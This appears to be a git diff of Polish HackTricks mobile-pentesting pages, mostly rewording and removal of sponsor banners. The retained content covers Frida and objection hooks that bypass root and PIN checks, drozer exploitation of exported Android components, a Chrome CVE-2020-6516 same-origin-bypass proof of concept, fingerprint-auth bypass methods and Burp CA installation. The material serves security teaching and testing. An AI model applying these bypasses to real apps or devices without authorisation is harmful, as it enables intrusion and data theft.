a serwerem, potencjalnie zmieniając proces uwierzytelniania lub kradnąc wrażliwe dane. Przykładowe polecenie dla Frida: ```bash frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in ``` -## **Metoda 4 – Inżynieria Wsteczna i Modyfikacja Kodu** +## **Metoda 4 – Inżynieria wsteczna i modyfikacja kodu** Narzędzia do inżynierii wstecznej, takie jak `APKTool`, `dex2jar` i `JD-GUI`, mogą być używane do dekompilacji aplikacji na Androida, odczytania jej kodu źródłowego i zrozumienia mechanizmu uwierzytelniania. Kroki zazwyczaj obejmują: 1. **Dekompilacja APK**: Konwersja pliku APK na bardziej czytelny format (np. kod Java). -2. **Analiza Kodu**: Szukanie implementacji uwierzytelniania za pomocą odcisku palca i identyfikacja potencjalnych słabości (np. mechanizmy zapasowe lub niewłaściwe kontrole walidacji). -3. **Rekompilacja APK**: Po modyfikacji kodu w celu ominięcia uwierzytelniania za pomocą odcisku palca, aplikacja jest rekompilowana, podpisywana i instalowana na urządzeniu do testowania. +2. **Analiza kodu**: Szukanie implementacji uwierzytelniania za pomocą odcisku palca i identyfikacja potencjalnych słabości (np. mechanizmy zapasowe lub niewłaściwe kontrole walidacji). +3. **Rekompilacja APK**: Po modyfikacji kodu w celu ominięcia uwierzytelniania za pomocą odcisku palca, aplikacja jest rekompilowana, podpisywana i instalowana na urządzeniu do testów. -## **Metoda 5 – Użycie Niestandardowych Narzędzi Uwierzytelniających** +## **Metoda 5 – Użycie niestandardowych narzędzi uwierzytelniających** Istnieją specjalistyczne narzędzia i skrypty zaprojektowane do testowania i omijania mechanizmów uwierzytelniania. Na przykład: 1. **Moduły MAGISK**: MAGISK to narzędzie dla Androida, które pozwala użytkownikom na rootowanie swoich urządzeń i dodawanie modułów, które mogą modyfikować lub fałszować informacje na poziomie sprzętowym, w tym odciski palców. 2. **Niestandardowe skrypty**: Skrypty mogą być pisane w celu interakcji z Android Debug Bridge (ADB) lub bezpośrednio z backendem aplikacji, aby symulować lub omijać uwierzytelnianie za pomocą odcisku palca. -## Referencje +## Odniesienia - [https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/](https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/) -
- -Zgłębiaj swoją wiedzę w **Bezpieczeństwie Mobilnym** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/content-protocol.md b/src/mobile-pentesting/android-app-pentesting/content-protocol.md index 5f7ff01b1..ec31d0c9b 100644 --- a/src/mobile-pentesting/android-app-pentesting/content-protocol.md +++ b/src/mobile-pentesting/android-app-pentesting/content-protocol.md @@ -1,8 +1,5 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} **To jest podsumowanie posta [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)** @@ -38,15 +35,15 @@ content query --uri content://media/external/file \ ``` Plik można następnie wyświetlić w Chrome, używając adresu URL skonstruowanego z identyfikatora pliku. -Na przykład, aby wyświetlić pliki związane z konkretną aplikacją: +Na przykład, aby wylistować pliki związane z konkretną aplikacją: ```bash content query --uri content://media/external/file --projection _id,_data | grep -i ``` ### Chrome CVE-2020-6516: Ominięcie Polityki Takiej Samej Pochodzenia -_**Polityka Takiej Samej Pochodzenia**_ (SOP) to protokół bezpieczeństwa w przeglądarkach, który ogranicza interakcje stron internetowych z zasobami z różnych źródeł, chyba że wyraźnie dozwolone przez politykę Cross-Origin-Resource-Sharing (CORS). Polityka ta ma na celu zapobieganie wyciekom informacji i fałszywym żądaniom między witrynami. Chrome traktuje `content://` jako lokalny schemat, co implikuje surowsze zasady SOP, gdzie każdy lokalny URL schematu jest traktowany jako osobne pochodzenie. +_Protokół Takiej Samej Pochodzenia_ (SOP) to protokół bezpieczeństwa w przeglądarkach, który ogranicza interakcje stron internetowych z zasobami z różnych źródeł, chyba że wyraźnie dozwolone przez politykę Cross-Origin-Resource-Sharing (CORS). Polityka ta ma na celu zapobieganie wyciekom informacji i fałszywym żądaniom między witrynami. Chrome traktuje `content://` jako lokalny schemat, co implikuje surowsze zasady SOP, gdzie każdy lokalny URL schematu jest traktowany jako osobne pochodzenie. -Jednak CVE-2020-6516 była luką w Chrome, która pozwalała na ominięcie zasad SOP dla zasobów ładowanych za pomocą URL `content://`. W efekcie, kod JavaScript z URL `content://` mógł uzyskać dostęp do innych zasobów ładowanych za pomocą URL `content://`, co stanowiło poważny problem bezpieczeństwa, szczególnie na urządzeniach z Androidem działających w wersjach wcześniejszych niż Android 10, gdzie nie wdrożono przechowywania w zakresie. +Jednak CVE-2020-6516 była luką w Chrome, która pozwalała na ominięcie zasad SOP dla zasobów ładowanych za pomocą URL `content://`. W efekcie, kod JavaScript z URL `content://` mógł uzyskać dostęp do innych zasobów ładowanych za pomocą URL `content://`, co stanowiło poważny problem bezpieczeństwa, szczególnie na urządzeniach z Androidem działających w wersjach wcześniejszych niż Android 10, gdzie nie wdrożono ograniczonego przechowywania. Poniższy dowód koncepcji demonstruje tę lukę, gdzie dokument HTML, po przesłaniu pod **/sdcard** i dodaniu do Media Store, używa `XMLHttpRequest` w swoim JavaScript, aby uzyskać dostęp do i wyświetlić zawartość innego pliku w Media Store, omijając zasady SOP. @@ -79,8 +76,4 @@ xhr.send(); ``` -
- -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md index 3d3d71a81..32e90239c 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md @@ -2,11 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} - -**Wskazówka dotycząca bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## APKs do testowania @@ -33,7 +29,7 @@ Agent działa na porcie 31415, musimy [przekierować port](https://en.wikipedia. ```bash adb forward tcp:31415 tcp:31415 ``` -Na koniec, **uruchom** **aplikację** i naciśnij przycisk "**ON**" +Na koniec **uruchom** **aplikację** i naciśnij przycisk "**ON**" ![](<../../../images/image (459).png>) @@ -43,20 +39,20 @@ drozer console connect ``` ## Ciekawe Komendy -| **Komendy** | **Opis** | -| --------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Help MODULE** | Pokazuje pomoc wybranego modułu | -| **list** | Pokazuje listę wszystkich modułów drozer, które można wykonać w bieżącej sesji. Ukrywa moduły, do których nie masz odpowiednich uprawnień. | -| **shell** | Uruchamia interaktywną powłokę Linux na urządzeniu, w kontekście Agenta. | -| **clean** | Usuwa tymczasowe pliki przechowywane przez drozer na urządzeniu z Androidem. | -| **load** | Ładuje plik zawierający polecenia drozer i wykonuje je w kolejności. | -| **module** | Znajduje i instaluje dodatkowe moduły drozer z Internetu. | -| **unset** | Usuwa nazwaną zmienną, którą drozer przekazuje do wszelkich powłok Linux, które uruchamia. | -| **set** | Przechowuje wartość w zmiennej, która zostanie przekazana jako zmienna środowiskowa do wszelkich powłok Linux uruchamianych przez drozer. | -| **shell** | Uruchamia interaktywną powłokę Linux na urządzeniu, w kontekście Agenta | +| **Komendy** | **Opis** | +| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | +| **Help MODULE** | Pokazuje pomoc wybranego modułu | +| **list** | Pokazuje listę wszystkich modułów drozer, które można wykonać w bieżącej sesji. Ukrywa moduły, do których nie masz odpowiednich uprawnień. | +| **shell** | Uruchamia interaktywną powłokę Linux na urządzeniu, w kontekście Agenta. | +| **clean** | Usuwa tymczasowe pliki przechowywane przez drozer na urządzeniu z Androidem. | +| **load** | Ładuje plik zawierający polecenia drozer i wykonuje je w kolejności. | +| **module** | Znajduje i instaluje dodatkowe moduły drozer z Internetu. | +| **unset** | Usuwa nazwaną zmienną, którą drozer przekazuje do wszelkich powłok Linux, które uruchamia. | +| **set** | Przechowuje wartość w zmiennej, która zostanie przekazana jako zmienna środowiskowa do wszelkich powłok Linux uruchamianych przez drozer. | +| **shell** | Uruchamia interaktywną powłokę Linux na urządzeniu, w kontekście Agenta | | **run MODULE** | Wykonuje moduł drozer | -| **exploit** | Drozer może tworzyć exploity do wykonania na urządzeniu. `drozer exploit list` | -| **payload** | Exploity potrzebują ładunku. `drozer payload list` | +| **exploit** | Drozer może tworzyć exploity do wykonania w urządzeniu. `drozer exploit list` | +| **payload** | Exploity potrzebują ładunku. `drozer payload list` | ### Pakiet @@ -99,10 +95,10 @@ Attack Surface: 2 services exported is debuggable ``` -- **Aktywności**: Może uda ci się uruchomić aktywność i obejść jakiś rodzaj autoryzacji, która powinna uniemożliwić jej uruchomienie. +- **Aktywności**: Może uda ci się uruchomić aktywność i obejść jakiś rodzaj autoryzacji, która powinna cię powstrzymać przed jej uruchomieniem. - **Dostawcy treści**: Może uda ci się uzyskać dostęp do prywatnych danych lub wykorzystać jakąś lukę (SQL Injection lub Path Traversal). - **Usługi**: -- **is debuggable**: [Dowiedz się więcej](./#is-debuggeable) +- **jest debugowalny**: [Dowiedz się więcej](./#is-debuggeable) ### Aktywności @@ -142,7 +138,7 @@ Eksportowana usługa jest zadeklarowana w pliku Manifest.xml: ```markup ``` -W kodzie **sprawdź** funkcję **`handleMessage`**, która **otrzyma** **wiadomość**: +W kodzie **sprawdź** funkcję **`handleMessage`**, która **odbierze** **wiadomość**: ![](<../../../images/image (82).png>) @@ -220,7 +216,7 @@ app.broadcast.sniff Register a broadcast receiver that can sniff particu ``` #### Wyślij wiadomość -W tym przykładzie wykorzystując [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider możesz **wysłać dowolny SMS** do dowolnego niepremium miejsca **bez pytania** użytkownika o pozwolenie. +W tym przykładzie wykorzystując [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider możesz **wysłać dowolny SMS** do dowolnego niepremium odbiorcy **bez pytania** użytkownika o pozwolenie. ![](<../../../images/image (415).png>) @@ -243,21 +239,17 @@ Możesz znaleźć wszystkie aplikacje z możliwością debugowania za pomocą ** ```bash run app.package.debuggable ``` -## Tutorials +## Samouczki - [https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref](https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref) - [https://github.com/mgcfish/mobiletools/blob/master/\_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md](https://github.com/mgcfish/mobiletools/blob/master/_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md) - [https://www.hackingarticles.in/android-penetration-testing-drozer/](https://www.hackingarticles.in/android-penetration-testing-drozer/) - [https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac](https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac) -## More info +## Więcej informacji - [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/) - -**Bug bounty tip**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 $**! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md index 340660803..6f7e44ce7 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md @@ -2,11 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -**Tip dotyczący bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## Instalacja @@ -53,7 +48,7 @@ frida-ps -U | grep -i #Get all the package name ## Szybkie przykłady -### Wywoływanie Frida z wiersza poleceń +### Wywoływanie Frida z linii poleceń ```bash frida-ps -U @@ -182,10 +177,5 @@ onComplete: function () {}, - [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs) - [Część 1 serii blogów o zaawansowanym użyciu Frida: Biblioteki szyfrowania IOS](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) -
- -**Wskazówka dotycząca bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 $**! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md index c226c263f..731cc13d9 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md @@ -2,12 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -**Tip dotyczący bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - **To jest podsumowanie posta**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ **Kod źródłowy**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) @@ -16,7 +10,7 @@ Frida pozwala na **wstawienie kodu JavaScript** wewnątrz funkcji działającej aplikacji. Możesz jednak użyć **python** do **wywoływania** hooków, a nawet do **interakcji** z **hookami**. -To jest prosty skrypt w pythonie, który możesz użyć ze wszystkimi proponowanymi przykładami w tym tutorialu: +To prosty skrypt w pythonie, który możesz użyć we wszystkich proponowanych przykładach w tym tutorialu: ```python #hooking.py import frida, sys @@ -120,14 +114,9 @@ return encrypted_ret ``` ## Ważne -W tym samouczku podłączyłeś metody używając nazwy metody i _.implementation_. Ale jeśli było **więcej niż jedna metoda** o tej samej nazwie, będziesz musiał **określić metodę**, którą chcesz podłączyć, **wskazując typ argumentów**. +W tym samouczku podłączyłeś metody używając nazwy metody i _.implementation_. Ale jeśli było **więcej niż jedna metoda** o tej samej nazwie, będziesz musiał **określić metodę**, którą chcesz podłączyć **wskazując typ argumentów**. Możesz to zobaczyć w [następnym samouczku](frida-tutorial-2.md). -
- -**Wskazówka dotycząca bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 $**! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md index 6022c5ff2..3327f45c4 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md @@ -2,12 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -**Tip dotyczący bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - **To jest podsumowanie posta**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Części 2, 3 i 4)\ **APKi i kod źródłowy**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) @@ -18,8 +12,8 @@ Część 1 jest bardzo łatwa. ## Część 2 Tutaj możesz zobaczyć przykład, jak **hookować 2 funkcje o tej samej nazwie**, ale z różnymi parametrami.\ -Ponadto nauczysz się, jak **wywołać funkcję z własnymi parametrami**.\ -Na koniec jest przykład, jak **znaleźć instancję klasy i sprawić, by wywołała funkcję**. +Również nauczysz się, jak **wywołać funkcję z własnymi parametrami**.\ +Na koniec jest przykład, jak **znaleźć instancję klasy i wywołać funkcję**. ```javascript //s2.js console.log("Script loaded successfully "); @@ -54,7 +48,7 @@ onComplete: function () { } }); }); ``` -Możesz zobaczyć, że aby stworzyć String, najpierw odwołano się do klasy _java.lang.String_, a następnie stworzono obiekt _$new_ tej klasy z zawartością String. To jest poprawny sposób na stworzenie nowego obiektu klasy. Ale w tym przypadku, mógłbyś po prostu przekazać do `this.fun()` dowolny String, na przykład: `this.fun("hey there!")` +Możesz zobaczyć, że aby utworzyć String, najpierw odwołano się do klasy _java.lang.String_, a następnie utworzono obiekt _$new_ tej klasy z Stringiem jako zawartością. To jest poprawny sposób na utworzenie nowego obiektu klasy. Ale w tym przypadku mógłbyś po prostu przekazać do `this.fun()` dowolny String, na przykład: `this.fun("hey there!")` ### Python ```python @@ -112,7 +106,7 @@ script.exports.callsecretfunction() elif command == "3": script.exports.hooksecretfunction() ``` -Polecenie "**1**" **wyjdzie**, polecenie "**2**" znajdzie i **instancję klasy i wywoła prywatną funkcję** _**secret()**_, a polecenie "**3**" **podłączy** funkcję _**secret()**_, aby **zwróciła** **inną wartość**. +Polecenie "**1**" **wyjdzie**, polecenie "**2**" znajdzie i **instancję klasy i wywoła prywatną funkcję** _**secret()**_, a polecenie "**3**" **przechwyci** funkcję _**secret()**_, aby **zwróciła** **inny ciąg**. Więc, jeśli wywołasz "**2**", otrzymasz **prawdziwy sekret**, ale jeśli wywołasz "**3**", a następnie "**2**", otrzymasz **fałszywy sekret**. @@ -208,12 +202,7 @@ return this.setText(string_to_recv) } }) ``` -Jest część 5, której nie zamierzam wyjaśniać, ponieważ nie ma nic nowego. Ale jeśli chcesz przeczytać, jest tutaj: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/) +Jest część 5, której nie zamierzam wyjaśniać, ponieważ nie ma nic nowego. Ale jeśli chcesz to przeczytać, jest tutaj: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/) -
- -**Wskazówka dotycząca bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 $**! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md index a6be82f01..a93c80a6c 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md @@ -2,19 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} - -**Tip dotyczący bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## **Wprowadzenie** -**objection - Runtime Mobile Exploration** +**objection - Eksploracja mobilna w czasie rzeczywistym** [**Objection**](https://github.com/sensepost/objection) to zestaw narzędzi do eksploracji mobilnej w czasie rzeczywistym, oparty na [Frida](https://www.frida.re). Został stworzony w celu pomocy w ocenie aplikacji mobilnych i ich bezpieczeństwa bez potrzeby posiadania urządzenia mobilnego z jailbreakiem lub roota. -**Uwaga:** To nie jest forma jailbreaku / obejścia roota. Używając `objection`, nadal jesteś ograniczony przez wszystkie restrykcje nałożone przez odpowiedni sandbox, z którym się mierzysz. +**Uwaga:** To nie jest forma obejścia jailbreaka / roota. Używając `objection`, nadal jesteś ograniczony przez wszystkie restrykcje nałożone przez odpowiedni sandbox, z którym się mierzysz. ### Podsumowanie @@ -157,13 +153,13 @@ Właściwie uważam, że wszystkie metody klasy MainActivity są naprawdę inter ```bash android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return ``` -Jeśli bawisz się aplikacją, gdy klasa jest podłączona, zobaczysz, kiedy **każda funkcja jest wywoływana**, jej **argumenty** oraz **wartość zwracaną**. +Jeśli bawisz się aplikacją, gdy klasa jest podłączona, zobaczysz, kiedy **każda funkcja jest wywoływana**, jej **argumenty** i **wartość zwracaną**. ![](<../../../images/image (861).png>) -#### Zmiana wartości zwracanej boolean przez funkcję +#### Zmiana wartości zwracanej typu boolean funkcji -Z kodu źródłowego widać, że funkcja _checkPin_ przyjmuje _String_ jako argument i zwraca _boolean_. Zmieńmy funkcję, aby **zawsze zwracała true**: +Z kodu źródłowego widać, że funkcja _checkPin_ przyjmuje _String_ jako argument i zwraca _boolean_. Sprawmy, aby funkcja **zawsze zwracała true**: ![](<../../../images/image (883).png>) @@ -173,7 +169,7 @@ Teraz, jeśli wpiszesz cokolwiek w polu tekstowym dla kodu PIN, zobaczysz, że c ### Instancje klas -Szukaj i drukuj **aktywne instancje konkretnej klasy Java**, określonej przez w pełni kwalifikowaną nazwę klasy. Oto wynik próby uzyskania wartości string dla odkrytej obiekcji, która zazwyczaj **zawiera wartości właściwości dla obiektu**. +Szukaj i drukuj **aktywne instancje konkretnej klasy Java**, określonej przez w pełni kwalifikowaną nazwę klasy. Oto wynik próby uzyskania wartości string dla odkrytej objection, która zazwyczaj **zawiera wartości właściwości dla obiektu**. ``` android heap print_instances ``` @@ -227,12 +223,4 @@ exit - Metody hookujące czasami powodują awarię aplikacji (to również z powodu Frida). - Nie możesz używać instancji klas do wywoływania funkcji instancji. I nie możesz tworzyć nowych instancji klas i używać ich do wywoływania funkcji. -- Nie ma skrótu (jak ten dla sslpinnin), aby hookować wszystkie powszechnie używane metody kryptograficzne w aplikacji, aby zobaczyć tekst zaszyfrowany, tekst jawny, klucze, IV i używane algorytmy. - - - -**Tip dotyczący bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 $**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -{{#include ../../../banners/hacktricks-training.md}} +- Nie ma skrótu (jak w przypadku sslpinnin), aby hookować wszystkie powszechne metody kryptograficzne używane przez aplikację, aby zobaczyć zaszyfrowany tekst, tekst jawny, klucze, IV i używane algorytmy. diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md index 9490bb710..74237070e 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md @@ -2,22 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -**Tip dotyczący bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**! - -{% embed url="https://go.intigriti.com/hacktricks" %} --- **To jest podsumowanie posta**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk) -## Solution 1 +## Rozwiązanie 1 -Na podstawie [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1) +Oparte na [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1) -**Hook the \_exit()**\_ function and **decrypt function** so it print the flag in frida console when you press verify: +**Hookuj funkcję \_exit()**\_ i **funkcję deszyfrującą**, aby wydrukować flagę w konsoli frida, gdy naciśniesz weryfikację: ```javascript Java.perform(function () { send("Starting hooks OWASP uncrackable1...") @@ -58,7 +53,7 @@ send("Hooks installed.") ``` ## Rozwiązanie 2 -Based in [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1) +Na podstawie [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1) **Hook rootchecks** i funkcję deszyfrującą, aby wydrukować flagę w konsoli frida, gdy naciśniesz weryfikację: ```javascript @@ -120,10 +115,4 @@ return false send("Hooks installed.") }) ``` -
- -**Wskazówka dotycząca bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 $**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md index 3e8f340ae..2d6b9817f 100644 --- a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md +++ b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md @@ -2,9 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## Na maszynie wirtualnej @@ -32,7 +29,7 @@ Gdy **maszyna zakończy ponowne uruchamianie**, certyfikat burp będzie używany ## Używanie Magisc -Jeśli **zrootowałeś swoje urządzenie za pomocą Magisc** (może emulator), a **nie możesz wykonać** poprzednich **kroków** w celu zainstalowania certyfikatu Burp, ponieważ **system plików jest tylko do odczytu** i nie możesz go zamontować jako zapisywalny, istnieje inny sposób. +Jeśli **zrootowałeś swoje urządzenie za pomocą Magisc** (może emulator), i **nie możesz wykonać** poprzednich **kroków** w celu zainstalowania certyfikatu Burp, ponieważ **system plików jest tylko do odczytu** i nie możesz go zamontować jako zapisywalny, istnieje inny sposób. Wyjaśnione w [**tym filmie**](https://www.youtube.com/watch?v=qQicUW0svB8) musisz: @@ -44,7 +41,7 @@ Wyjaśnione w [**tym filmie**](https://www.youtube.com/watch?v=qQicUW0svB8) musi
-2. **Uczynić go zaufanym przez system**: Pobierz moduł Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (plik .zip), **przeciągnij i upuść go** w telefonie, przejdź do aplikacji **Magics** w telefonie do sekcji **`Moduły`**, kliknij **`Zainstaluj z pamięci`**, wybierz moduł `.zip`, a po zainstalowaniu **zrestartuj** telefon: +2. **Uczynić go zaufanym przez system**: Pobierz moduł Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (plik .zip), **przeciągnij i upuść go** w telefonie, przejdź do aplikacji **Magics** w telefonie do sekcji **`Moduły`**, kliknij **`Zainstaluj z pamięci`**, wybierz moduł `.zip` i po zainstalowaniu **zrestartuj** telefon:
@@ -60,7 +57,7 @@ Próby ponownego zamontowania **ścieżki APEX cacerts** jako zapisywalnej końc Inicjalizacja Androida obejmuje proces `init`, który, uruchamiając system operacyjny, również inicjuje proces Zygote. Proces ten jest odpowiedzialny za uruchamianie procesów aplikacji z nową przestrzenią montowania, która obejmuje prywatny montaż **`/apex`**, izolując tym samym zmiany w tym katalogu od innych procesów. -Niemniej jednak istnieje obejście dla tych, którzy potrzebują zmodyfikować certyfikaty CA zaufane przez system w katalogu **`/apex`**. Polega to na ręcznym ponownym zamontowaniu **`/apex`**, aby usunąć propagację PRIVATE, co czyni go zapisywalnym. Proces ten obejmuje skopiowanie zawartości **`/apex/com.android.conscrypt`** do innej lokalizacji, odmontowanie katalogu **`/apex/com.android.conscrypt`**, aby wyeliminować ograniczenie tylko do odczytu, a następnie przywrócenie zawartości do ich pierwotnej lokalizacji w **`/apex`**. To podejście wymaga szybkiego działania, aby uniknąć awarii systemu. Aby zapewnić systemowe zastosowanie tych zmian, zaleca się ponowne uruchomienie `system_server`, co skutecznie restartuje wszystkie aplikacje i przywraca system do spójnego stanu. 